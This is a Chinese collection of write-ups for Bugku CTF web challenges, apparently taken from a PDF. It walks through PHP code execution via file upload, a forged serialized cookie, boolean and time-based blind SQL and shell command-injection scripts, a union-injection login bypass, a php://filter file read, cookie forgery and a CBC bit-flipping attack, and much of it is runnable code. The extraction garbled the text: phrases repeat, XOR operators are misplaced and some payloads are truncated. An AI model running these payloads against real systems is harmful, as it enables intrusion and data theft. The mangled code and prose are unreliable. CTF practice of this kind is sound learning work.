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题目地址：http://123.206.31.85:49166/连接已失效
本题wp来自：https://blog.csdn.net/qq_39629343/article/details/80148665
访问网址查看源码

将hello.php改成upload.php，访问

直接构造命令执行

<script language=php>system("ls")</script>



访问图片路径

直接访问文件

或者构造命令执行

<script language=php>system("cat 访问的文件名.txt")</script>

44.flag.php

题目地址：http://123.206.87.240:8002/flagphp/



login按钮是不能点的，F12看一下控制台

将这里的button改为submit，变成可以点击的按钮，但是好像无意义，抓包来看，爆破了一会，感觉突破点不在这

扫了一下目录，发现有flag.php，访问，是空白页，看不懂php代码

想起题目上提示：hint，get传个参数试一下，果真有东西



 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];//变量cookie的值等于获取Cookie中ISecer的值
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")//如果变量cookie的值等于$KEY，（注意这里的$KEY是用引号引起来的），则输出flag
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?> 



我们把cookie序列化一下

所以cookie的值应该为ISecer=s:0:"";

得到flag

45.sql注入注入2



题目地址：http://123.206.87.240:8007/web2/

直接admin admin登录会提示 password error!!@_@
如果随机用户名登录则会显示 username error!!@_@



想走一些捷径，试了试sql万能密码登录，爆破了一下密码，完蛋还真爆破出来了，admin123，额这题没这么简单吧
搜了搜wp果真不简单
看了一篇比较好的wp
用burpsuit抓包，再进行fuzz(模糊测试)，用字典跑看usename的参数过滤了哪些关键词，其中数值为367的为没有被过滤的，数
值为370的是被过滤的。

关键sql语句：select * from users where name=0 ,会输出所有语句。

减号没有被过滤，于是想到利用减号闭合，

在运算的时候，字符串‘admin’转换成0



admin’-1-’ 等于-1
admin’-0-’ 等于0

admin’-0-‘的时候为显示password error，说明条件为真，admin’-1-‘时候为username error，为false，猜测后台构造为：

 admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'

若ascii(MID((passwd)from(“1”)))="+str(ord(0))+"成立为‘真’转换成为数字型1，反之为0，payload转换为admin’-1-’ 和 admin’-0-’
形式

通过判断返回内容是否存在username error!!@_@"来确定条件是否为真
编写脚本如下：

#!-*-coding:utf-8-*-
import requests
url = "http://123.206.87.240:8007/web2/login.php"
cookie = {
    'PHPSESSID':'lv6m5u2466f0ja6k8l8f8kehjdq4skhn'
}

password = ""
for i in range(1,33):
    for j in '0123456789abcdef':
        payload = "admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'"
        data = {
            'uname': payload,
            'passwd': '123'
        }
        r = requests.post(url=url,cookies=cookie,data=data)
        #print r.content
        if "username error!!@_@" in r.content:
            password += j
            print password
            break

sql= select∗ username;当传入admin’-0-‘时sql语句为：select * from users where username=0，正常查询返回所有值。fromuserswhereusername=



运行结果：0192023a7bbd73250516f069df18b500，解md5为 admin12

创新方法，使用异或创新方法，使用异或^也能做也能做

提示中也没有过滤异或符号 1=0 (ascii(MID((‘admin’)from(“1”)))=“97”) 等价于 0^1=1

payload可以改成：

0' (̂ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+") '̂

拿到密码进去后根据其实输入ls即可得到flag

其它解题的方法：dirsearch+ds_store,
有时间做做

本题wp来自：https://www.cnblogs.com/rainbow7/p/11697444.html

46.孙孙xx的博客的博客

，联系到刚学的异或注入方法，构造admin 1=1型式，则0



题目地址：http://123.206.87.240:2014

打开题目是一个wordpress界面
扫了一下目录



试着打开每一个页面看一看有没有猫腻，结果都是正常配置文件或者插件

然后去找了wp，只找到这个
点开blog，浏览一哈全部的博客，然后看到了这



我打开的博客就是刚刚安装完wordpress的界面，什么也没有，可能是数据库被删了吧，或者是题目有变更，而我太菜了

47.Trim的日记本的日记本

题目地址：http://123.206.87.240:9002/



打开站点，特别明显的mysql connect error !
这莫非不是在提示我这是一个sql注入题目吧，对着输入框好一个找注入点，没找到，去看了wp，md原来是扫描目录，好一个障
眼法

扫一下吧

打开show.php

本以为是假的，提交直接成功了

48.login2(SKCTF)



题目地址：http://123.206.31.85:49165/连接已失效
wp来自：https://blog.csdn.net/weixin_42444939/article/details/100145654
login页面，日常先抓包康康
看样子这玩意儿也不会有啥回显 估计又要盲注（初步构想

结果在Respond里发现tip

base64解码后得到login处的验证源码：

发现验证逻辑是取回数据库的密码后，再与post请求里的密码进行对比验证
那么这里就可以考虑利用union注入来返回自己构造的账密，实现伪造身份登入后台
要注意的一点就是在union前的username在数据库中不存在
否则返回的$row数组只将第一条的密码进行校验，无法绕过
于是构造payload如下：



username = impossible’ union select 1,‘76a2173be6393254e72ffa4d6df1030a’#
password = passwd

(76a2173be6393254e72ffa4d6df1030a是passwd的md5值)
良心的是本题没有过滤危险字符（所以就进入后台啦）

后台输入ls只发现了环境在linux下，于是利用管道符测试命令执行漏洞

发现ls命令没有回显内容，考虑前端回显存在过滤或是后台处理存在过滤
自然考虑用时间盲注来测试，构造payload=123;sleep 3;

sleep函数生效！然后就可以开始用脚本跑shell时间盲注啦



import requests

url = 'http://123.206.31.85:49165/login.php'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/
537.36'}
s = requests.session()
# keep session_id
data = {'username' : 'impossible\' union select 1,\'76a2173be6393254e72ffa4d6df1030a\'#', 'password' : 'passwd'}
s.post(url, data = data, headers = headers)
# sign in first
url = 'http://123.206.31.85:49165/index.php'
len = 1
while(1):
 payload = 'nothing;str=`ls`;if [ ${#str} -eq ' + str(len) + ' ] ;then sleep 4;fi'
 data = {'c' : payload}
 try:
  s.post(url, data = data, headers = headers, timeout = 3)
 except requests.exceptions.ReadTimeout:
  break
 len += 1
print('Length of `ls`:' + str(len))
ls = ''
for i in range(len):
 for dict in " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#$% &̂*()-_=+[]{};:\'\"|\,<.>/?":
  payload = 'nothing;str=`ls`;if [ ${str:' + str(i) + ':1} == \'' + dict + '\' ] ;then sleep 4;fi'
  #print(payload)
  data = {'c' : payload}
  try:
   s.post(url, data = data, headers = headers, timeout = 3)
  except requests.exceptions.ReadTimeout:
   ls += dict
   print(dict)
   break
  if(dict == '?'):
   ls += ' '
   print(' ')
print('`ls`:' + ls)

脚本要注意的几个点

开始要启用session，先登陆保持cookie，才能进行接下来在index页面的shell盲注
linux下bash命令有几个手残容易跑崩的点，if语句里的 ‘[’ 和 ']‘ 左右都要有空格，赋值的等号不能有空格，比较运算符要加空格
字符串类型比较时用==,>等，整数比较时用-eq,-gt等

漫长的等待脚本跑完（sleep杀我）

拿到ls结果（前面一个一个字符的输出只是为了在盲注跑完前有东西消遣，对没错）
看到fLag_c2Rmc2Fncn-MzRzZGZnNDc.txt
直接访问就能拿到flag！

49.login3(SKCTF)



题目地址：http://123.206.31.85:49167/连接已失效
wp来自：https://blog.csdn.net/zpy1998zpy/article/details/80667775
Bugku的一道题目，用到了布尔盲注，还过滤了and关键字，这里用到了^（按位异或运算），正好记录下过程和方法。总体写的
有点啰嗦，但是我不想让跟我一样入门的小白看教程看到一脸懵逼。

随便输入了几个用户名，返回用户名不存在，并没有对密码进行检验。



那我们可以猜测是先查找用户名，如果存在，再验证密码。

那下一步呢，我试了试admin用户名，结果是存在的，返回密码错误

这就验证了我们的猜想，那现在注入点应该就是用户名了。



然后试试在admin后加上单引号，但是返回是用户名不存在

这意味着什么呢？这说明即使语法错误，也不会在页面上显示报错信息，

也就不能使用报错注入了，我们发现有两种返回信息：

username does not exist!和password error!,那我们可以利用这两个返回值进行布尔盲注。

毕竟我也是第一次接触到这种布尔型盲注，也当是小白扫盲吧，怎么利用啰嗦几句。

我们猜测后台的验证应该是先查找我们输入的用户名是否存在，大概是：

select password,username from users where username=”我们输入的用户名”

如果我们在where语句的结尾加上一个and连接的布尔判断语句，就可以根据返回值判断where条件是否成立，比如这道题就可以
尝试补成

where username=’admin’ and (substring(database(),1,1)=’a’)

如果返回值是password error，那么就说明where语句是成立的，那么我们补充的那就也是成立的，那么就可以确定数据库的第
一位是a,然后再猜测第二位。

但是这道题过滤了and！！！



尝试加上and返回：

经过尝试发现还过滤了空格，逗号，等号，for

空格用括号代替，等号用<>(一种不等号)代替

那怎么办呢，这就用上了今天介绍的异或运算^,先说一下基本规则：

1^1=0 1^0=1 0^0=0

就是说只有两个不同的布尔值运算结果为1，其他为零

不过在这里用的时候先不要按这个规则去推，因为在我们用到的三个值的布尔运算的sql语句中完全相反，我还没有搞明白，谁
懂得话，给我评论下。

首先说下这里我们要补上两个布尔值，这个最后再说为什么。

先猜数据库名，基本语句

admin’ 0#

解释一下为什么，为了绕过空格过滤，用括号隔开，过滤了等号，用不等号 <>代替，只要是布尔值就可以。mid()函数和
substring()一样，一种写法是mid(xxx,1,1)，另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号，那么怎么办呢？

这里用到了ascii()取ascii码值的函数，如果传入一个字符串那么就会取第一个字符的字符的ascii码值，这就有了for的作用，并且
mid()函数是可以只写from的表示从第几位往后的字符串，我们将取出的字符串在传入ascii()中取第一位，就完成了对单个字符的
提取。

每个字符的ascii码判断是不是不等于给定的数字，会得到一个布尔值(0或1)再与结尾的0进行运算。

如果数据库名的第一位的ascii码值不是97，where条件是username=’admin’ 0

返回值是username does not exist!

如果数据库名的第一位的ascii码值是97，where条件是username=’admin’ 0

返回值会是password error!

这就构成了布尔报错注入。

(ascii(mid(database()from(1)))<>97)

1

0



有人可能疑问大部分的判断都是无用的，就是说可能从97尝试到120都是username does not exist!，那如何快速找到语句成立时
的返回结果(password error!)。这里就是最后^0的妙用了，

因为’admin’ 0和’admin’ 1是一样的，我们可以构造后者来看前者成立时的情况。

补充一点，因为这里既是语法错误也不会报错，有可能你输入的语句就不可能成立，但你也不知道，就很麻烦了，不过可以改变

最后是 1，如果改不改返回值相同，那就是有语法错误，如果不同就可以参照上一段了。这也是为什么要多加一个^0,看似多
此一举，其实好处多多。

就是说admin’ 1# 就可以得到password error!

数据库名最后可以得到是：blindsql

下一步猜表名，表名好像没法暴力猜,因为关键词information被禁了！！！！那数据库名就没用了，哈哈哈，不过后面猜字段的
值是一样的原理，不亏不亏。

没法用系统表，就不能像上面一样爆破了，真的是猜了，是admin表，语句如下

admin’ 1# 返回password error!说明猜对了

猜字段 admin’ 1# 返回password error!说明猜对了。

为什么要用count()呢，因为如果有多行数据也可能会报错，会干扰判断。

然后猜password的值，暴力猜解，与猜数据库类似：

admin’ 0#

得到密码的MD5值:51b7a76d51e70b419f60d3473fb6f900，解密后登陆，得到flag

转载指明出处

文章同步到我的博客：http://119.23.249.120/archives/286
最后附上脚本

0 1

0还是

(ascii(mid(database()from(1)))<>97)

(select(1)from(admin))

(select(count(password))from(admin))

(ascii(mid((select(password)from(admin))from(1)))<>97)



import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url="http://118.89.219.210:49167/index.php"
r=requests.session()
 
def databasere():
    resutlt=""
    for i in range(30):
        fla = 0
        for j in str_all:
            playlod="admin' (̂ascii(mid(database()from({})))<>{}) 0̂#".format(str(i),ord(j))
            data = {
                "username": playlod,
                "password": "123"
            }
            s=r.post(url,data)
            print(playlod)
            if "error" in s.text:
                resutlt+=j
                print(resutlt)
            if fla == 0:
                break
 
def password():
    resutlt=""
    for i in range(40):
        fla=0
        for j in str_all:
            playlod = "admin' (̂ascii(mid((select(password)from(admin))from({})))<>{}) 0̂#".format(str(i+1),ord(j))
            data = {
                "username": playlod,
                "password": "123"
            }
            s=r.post(url,data)
            print(playlod)
            if "error" in s.text:
                resutlt+=j
                fla=1
                print('**************************',resutlt)
        if fla==0:
            break
#databasere()
password()

50.文件上传文件上传2(湖湘杯湖湘杯)



题目地址：http://123.206.87.240:9011/连接已失效
打开404，但是，开着御剑顺手扫描了一下，本来并不抱什么希望，但是还真的是扫到了

访问http://123.206.87.240:9011/111.zip
可以下载一个zip文件，解压之后是flag.php,打开之后就是flag

但是，我觉得这根文件上传一点边也不占，就去看了其他人的wp，有两种答案
1.https://blog.csdn.net/qq_42133828/article/details/88015150

仔细查看，有一段话是这样子的：

2017 © All rights reserved. 听说可以用菜刀！！！ 为什么不试试dama.php dama或者b374k.php 听说蛮有用的。

看到这句话，是不是觉得上传的文件名称是dama.php或是b374k.php,但其实是白盒过滤了，只允许上传.png格式的图片

在经过小编的不懈努力之下，发现我所操作的所有可能菜刀都连接失败。



所以，小编尝试以下骚操作：

直接以连接的形式来运用题目给的提示

http://123.206.87.240:9011/dama.php

不难看到，有flag.php文件

打开，即可得到flag

2.https://blog.csdn.net/waitzhp/article/details/84864454

php://filter/read=convert.base64-encode/resource=flag

得到的结果再在base64解码就可以得到flag了

php伪协议，好像在哪里做过这道题

51.江湖魔头江湖魔头



题目地址：http://123.206.31.85:1616/

点击开始游戏，让选择自己的属性，



看到urlaction=start，改成end试一试

emm是一个彩蛋，随便输入一个数值查询，变成500了，也不知道有没有用



后来发现只要action参数不是有效参数都会弹出这个彩蛋
选择好属性，就开始了

每次练功和赚钱都会消耗5秒的时间,请您耐心等待。这。。这要什么时候才能学会如来神掌



肯定另有玄机，扫一下，有个work.php

访问为空白页

burpsuite抓包，发现一段很长的cookie

有点类似于base64，尝试解码，乱码了

F12打开控制台，试着修改金钱数



点击商店还是不可以买，没有什么思路了，看了下大佬wp果真是我不会的题
先看一下网页源代码

有三个js文件
在第一个script.js文件中看到一个flag，这个文件有问题

复制下来去在线格式化反混淆网站解密即可



function getCookie(cname) {
 var name = cname + "=";
 var ca = document.cookie.split(';');
 for (var i = 0; i < ca.length; i++) {
  var c = ca[i].trim();
  if (c.indexOf(name) == 0) return c.substring(name.length, c.length)
 }
 return ""
}
function decode_create(temp) {
 var base = new Base64();
 var result = base.decode(temp);
 var result3 = "";
 for (i = 0; i < result.length; i++) {
  var num = result[i].charCodeAt();
  num = num  ̂i;
  num = num - ((i % 10) + 2);
  result3 += String.fromCharCode(num)
 }
 return result3
}
function ertqwe() {
 var temp_name = "user";
 var temp = getCookie(temp_name);
 temp = decodeURIComponent(temp);
 var mingwen = decode_create(temp);
 var ca = mingwen.split(';');
 var key = "";
 for (i = 0; i < ca.length; i++) {
  if (-1 < ca[i].indexOf("flag")) {
   key = ca[i + 1].split(":")[2]
  }
 }
 key = key.replace('"', "").replace('"', "");
 document.write('<img id="attack-1" src="image/1-1.jpg">');
 setTimeout(function() {
  document.getElementById("attack-1").src = "image/1-2.jpg"
 }, 1000);
 setTimeout(function() {
  document.getElementById("attack-1").src = "image/1-3.jpg"
 }, 2000);
 setTimeout(function() {
  document.getElementById("attack-1").src = "image/1-4.jpg"
 }, 3000);
 setTimeout(function() {
  document.getElementById("attack-1").src = "image/6.png"
 }, 4000);
 setTimeout(function() {
  alert("ä½ ä½¿ç”¨å¦‚æ​¥ç¥žæŽŒæ‰“è´¥äº†è’™è€​é​”ï¼Œä½†ä¸​çŸ¥é​“æ˜̄ çœŸèº«è¿˜æ˜̄ å​‡èº«ï¼Œæ​​äº¤è¯•ä¸€ä¸‹å​§!flag{" + md5(key) + "}")
 }, 5000)
}



首先获取cookie中user的值，然后进行多次的解码，其中包括url的解码，以及base64的解码，然后解码得到的数值应该就是我
们网页上显示的那些属性的数据

在控制台输入var test=getCookie(‘user’) 获取cookie的值

注意这里以及后面的许多函数，都是js文件里面的函数，可以拿出来用
接着在控制台依次输入：test=decodeURIComponent(test) 和test=decode_create(test)。得到解码后的数值后，我们会惊奇
的发现，我们看得懂这些值，一眼可以看到money的值为0

O:5:\"human\":10:{s:8:\"xueliang\";i:964;s:5:\"neili\";i:923;s:5:\"lidao\";i:55;s:6:\"dingli\";i:71;s:7:\"waigong\";i:0;s:7:\"neigong\";i:0;s:7:\"jingyan\";i:
0;s:6:\"yelian\";i:0;s:5:\"money\";i:200;s:4:\"flag\";s:1:\"0\";}

大致流程：解cookie–>修改"money"–>封装–>设置cookie值–>有钱人–>去商店–>学技能–>打怪

修改修改cookie再编码再编码

第一种方法：

再编码其实就是解码的逆过程，按照js文件的解码顺序反过来。首先是应该是encode_create()，
当然，js文件里面没有这样的函数，所以我们要自己来写。按照decode_create()的模式来进行编码。

function decode_create(temp) {
 var base = new Base64();
 var result = base.decode(temp);
 var result3 = "";
 for (i = 0; i < result.length; i++) {
  var num = result[i].charCodeAt();
  num = num  ̂i;
  num = num - ((i % 10) + 2);
  result3 += String.fromCharCode(num)
 }
 return result3
}

这个是解码的代码，我们按照这个代码反着来



var result3 = "";
 for (i = 0; i < test.length; i++) {
  var num =test[i].charCodeAt();
  num = num + ((i % 10) + 2);
  num = num  ̂i;
  result3 += String.fromCharCode(num)
 }

这里注意顺序要反过来，解码是先异或，编码则是后面异或，而且-变成+。这里注意：a^b=c
c^b=a. 可以自己验证。
接着我们就应该base.encode(),但是这里有个坑，观察js/base64.js 文件的encode函数和decode函数，我们发现,decode函数注
释了output = _utf8_decode(output); 但是encode 却有 input = _utf8_encode(input); 这里要是没注意到，直接用他的encode 函数，
就会出错。所以这里我们自己写代码，将input = _utf8_encode(input)删掉 （这里我忘记删掉这一句了，幸好我没有用到input这
个变量，而是用result3，所以相当于删掉了这一句代码）

var base = new Base64();
var output = "";
  var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  var i = 0;
  input = _utf8_encode(result3);
  while (i <result3.length) {
   chr1 = result3.charCodeAt(i++);
   chr2 =result3.charCodeAt(i++);
   chr3 = result3.charCodeAt(i++);
   enc1 = chr1 >> 2;
   enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
   enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
   enc4 = chr3 & 63;
   if (isNaN(chr2)) {
    enc3 = enc4 = 64;
   } else if (isNaN(chr3)) {
    enc4 = 64;
   }
   output = output +
   _keyStr.charAt(enc1) + _keyStr.charAt(enc2) +
   _keyStr.charAt(enc3) + _keyStr.charAt(enc4);
  }



UTw7PCxqe3FjcC42OThOjWtSUFYwbm99amlzbG0wI3MeHx4YZ1liZxQMWEFDXl8EdUUODwINd016B34WUlFWWTVoATEABXF5P3Z2CmYgPT
Y5Pj90FSUUF2MfL2ZnYnYhCRMTGRQPQCcHKFIvEShXUlYCGQMbDQ4FXEcXREo%2FBTzBxKbu6fbrB%2BH%2Bps3nsLrP6dCs0LgR8fj1%2
F%2B6y3%2B%2FapJ3XnJnkjNPf0NnRjpPD7peIiIiIhoaJz%2FiC%2BJDMyt3V5oG7gv2G6vzs90s%3D

然后抓包修改Cookie中user的值为上面
刷新页面修改Cookie的值，然后买完所有东西，点击讨伐即可

这里有一点火狐可能会对符号进行转码，谷歌则不会

参考：

https://blog.csdn.net/weixin_44329796/article/details/100022497
https://blog.csdn.net/qq_25899635/article/details/92759985

52.login4



题目地址：http://123.206.31.85:49168/连接已失效
wp来自：https://blog.csdn.net/u013577244/article/details/86310881
Bugku Login4 WriteUp:
流程图链接：https://www.processon.com/view/link/5c36cc8ae4b08a7683a177cd
CBC字节翻转攻击原理：http://www.anquan.us/static/drops/tips-7828.html

目录扫描，得到.index.php.swp

下载该文件，使用vim -r .index.php.swp打开审计源码。已经手动在代码里添加了注释

<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){ //随机生成16位初始化向量
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }



    return $random_iv;
}

#第一个执行的方法
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info); //明文序列化
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); //加密
 //options：以下标记的按位或： OPENSSL_RAW_DATA 原生数据，对应数字1，不进行 base64 编码。OPENSSL_ZERO_PADDING 数据进行 
base64 编码再返回，对应数字0。 
    $_SESSION['username'] = $info['username']; //注册SESSION全局变量
 //以下两行设置cookie
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}

function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}

#第二个执行，检测用户名为admin时，打印flag
function show_homepage(){
    if ($_SESSION["username"]==='admin'){
        echo '<p>Hello admin</p>';
        echo '<p>Flag is $flag</p>';
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
}

if(isset($_POST['username']) && isset($_POST['password'])){
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    if($username === 'admin'){
        exit('<p>admin are not allowed to login</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}else{
    if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }else{
        echo '<body class="login-body">
                <div id="wrapper">
                    <div class="user-icon"></div>
                    <div class="pass-icon"></div>



                    <div class="pass-icon"></div>
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                        </div>
                        <div class="content">
                        <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
                        <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
                        </div>

源码审计

审计源码首先要找到程序起点，跟着程序走一遍，了解流程。

程序起点在这个if里：

我们以else为分割符，先看上面一段的代码。
程序接收到POST参数(username,password)，并且禁止admin登陆。当用户名不是admin的时候，首先把用户名密码放入数组，
传到login方法中。
login方法对传入的数组进行了序列化，并且使用aes-128-cbc对序列化进行加密。iv(初始化向量)是随机生成的。最终把cipher和
iv放入cookie。

再到show_homepage()方法，检测$_SESSION中的username是admin时，打印flag。否则提示Only admin can see flag



然后审计else的下半部分，这里是上半部分操作执行过后，存在$_SESSION[‘username’]时执行。当不存在POST数据或者
$_SESSION[‘username’]时，显示登陆页面。
有$_SESSION[‘username’]时，进入check_login()方法。
当cookie中存在cipher、iv时，对cipher进行解密。这里是解题的关键，可以通过修改cookie中的cipher值，将序列化数据的用户
名修改成admin。从而绕过程序起点处禁止admin登陆的判断。

最后执行到show_homepage()方法，当我们在check_login()中把用户名修改为admin时，这里输出flag。

解题：

访问题目页面，使用用户名admil，密码123登陆。页面提示内容与审计的结果一致。此时程序已经执行了login()方法，在cookie
中写入了cipher和iv。

使用burp抓包，刷新页面，内容如下：
通过上面审计源码可知，需要把post数据删掉，才能进入check_login()方法判断当前用户名。

通过最开始列出的“CBC字节翻转攻击原理”文章，这里需要修改cipher和iv的值来实现变更用户名。



基本原理（强塞内容）：

这里讲下为什么能把admil修改成admin
根据上图，我们可以知道CBC解密过程：

密文1=>解密密文1=>解密密文1 XOR 初始化向量(iv) = 明文1
密文2=>解密密文2=>解密密文2 XOR 密文1 = 明文2
密文3=>解密密文3=>解密密文3 XOR 密文2 = 明文3
以此类推，除了第一次，后面所以数据解密后都需要跟上一个密文进行异或得到明文。

从上面的解密过程可以推断出，当我们修改前一个密文的第N个字节时，会影响到后一个密文解密出来的明文的第N个字节。
例如：当我们修改密文1的第6个字节时，密文2解密时，解密后的密文2跟密文1进行异或操作，明文2的第6个字节也会受到影响。

异或特性：

解密得出明文的步骤使用了异或运算，而异或运算有个特性，是可以自定义异或结果的。

这里的讲解借用到大佬文章的讲解思路。这里的讲解借用到大佬文章的讲解思路。

假设：A  ̂B = C，则可得
B = A  ̂C
当人为修改A=A  ̂C时，
A  ̂B = A  ̂C  ̂B = B  ̂B = 0
当人为修改A=A  ̂C  ̂x (x为任意数值)时，
A  ̂B = A  ̂C  ̂x  ̂B = B  ̂B  ̂x = x

举例：

密文1[4]的意思是密文1字符串第4个字节，相当于数组下标。
设：密文1[4] = A，解密(密文2)[4] = B，明文2[4] = C
因为A  ̂B = C，根据结论有B = A  ̂C
当人为修改A=A  ̂C时，那么A  ̂B = A  ̂C  ̂B = B  ̂B = 0，这样明文2[4]的结果就为0了
当人为修改A=A  ̂C  ̂x (x为任意数值)时，那么
A  ̂B = A  ̂C  ̂x  ̂B = B  ̂B  ̂x = x，这是明文2[4] = x，这样就达到了控制明文某个字节的目的了。

编程：

根据上面的推论，就可以开始写程序修改cipher和iv来控制用户名了。



<?php
header("Content-Type: text/html;charset=utf-8");
 #计算cipher
 /*
 明文1：a:2:{s:8:"userna  //r
 明文2：me";s:5:"admil";  //l字母在第14个字节
 明文3：s:8:"password";s
 明文4：:3:"123";}
 */
 $cipher = base64_decode(urldecode('f0csYAAWDy%2FGlSsvWLr6NlCBad4p2U%2BXm2Rr2X07iytKd4r8V5tbO7%2FcxIib96eRDGUOMQclQg
vxw2SZXOobWQ%3D%3D'));
 $temp = $cipher;
 /*
 设密文1[13]=A, 解密(密文2)[13]=B, 明文2[13]=C, 
 将A修改为A  ̂C,则:
 A  ̂B = A  ̂C  ̂B = B  ̂B = 0 = C
 */
 //      A      C    X
 $cipher[13] = chr(ord($cipher[13])  ̂ord('l')  ̂ord('n'));
 echo urlencode(base64_encode($cipher));
 ?>



执行结果：

当我们在burp将计算后的cipher替换发送后，发现提示错误。
这是因为我们修改了密文1中的数据，使第一次解密出的明文数据错乱，打乱了序列化数据的格式，反序列化失败。
但是当我们把返回的base64数据解码后，可以发现我们的username已经修改成admin了。

出现这种错误，根据CBC解密原理，我们只需要修改iv的值，使得iv XOR 解密(密文1) = 明文1 即可。
编写程序实现:

<?php
 #计算iv
 $res = base64_decode('yeiydaYLG5RNzOPWaQgOkG1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7fQ=='); //这里放burp放回的bas
e64数据
 $iv = base64_decode(urldecode('TD9FI%2FvbrZn%2FSjbSD9bfSQ%3D%3D')); //这里放cookie中的iv
 $plaintext = 'a:2:{s:8:"userna';
 $new_iv = '';
 for ($i = 0; $i < 16; $i ++){
  $new_iv = $new_iv . chr(ord($iv[$i])  ̂ord($res[$i])  ̂ord($plaintext[$i]));
 }
 echo urlencode(base64_encode($new_iv));
?>



执行结果：

在burp中，将iv替换上去，go一下。得到flag。
需要注意的是，每次发送数据包，cipher和iv都会变化，所以前面的步骤要一气呵成哦~

本题其余几篇wp： https://blog.csdn.net/zpy1998zpy/article/details/80684485
https://www.cnblogs.com/cioi/p/11788320.html
http://www.mamicode.com/info-detail-2461903.html

文章内借鉴很多大佬的wp，并已在文章内附上原文链接

总结：总结：

至此，bugkuctf web基础篇做完了，学到了很多，get到了很多新知识，看了很多大佬的博客，能深刻体会到自己还是一只小菜
鸡，要做更多的题目，来增长奇奇怪怪的知识，手动滑稽
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